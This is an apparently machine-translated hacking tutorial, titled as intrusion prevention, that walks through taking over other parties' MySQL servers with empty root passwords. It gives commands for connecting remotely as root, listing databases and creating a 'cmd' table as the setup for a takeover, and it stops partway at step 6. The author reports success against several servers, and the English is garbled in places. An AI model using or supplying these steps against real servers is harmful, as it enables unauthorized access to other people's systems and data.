How to prevent intrusion: My SQL attack methods

MYSQLWhen the user's ROOT password is empty, it is a very large vulnerability. There are also many methods on the Internet to exploit this vulnerability, usually by writing an ASP orPHPWebshells are not only troublesome, but also need to guess the directory of the website. If the other party does not open IIS, then we can't help it ??

Later, I thought about a solution and succeeded in testing several servers with this vulnerability. The attack methods are published as follows:

1. Connect to the MYSQL server of the other party

Mysql-u root-h 192.168.0.1

Mysql.exe this program is in the BIN directory where you have installed MYSQL

2. Let's take a look at some databases on the server.

Mysql> show databases;

By default, MYSQL and TEST Databases are installed. If you see other databases, they are user-created databases.

3. Let's enter the database

Mysql> use test;

We will enter the test database.

4. Check the data tables in the database.

Mysql> show tables;

By default, no table exists in test.

The following are key parts:

5. Create a new table under the TEST database;

Mysql> create table a (cmd text );

Now, we have created a new table named a, which stores only one field, the field name is cmd, and the text is text.

6. insert content into the table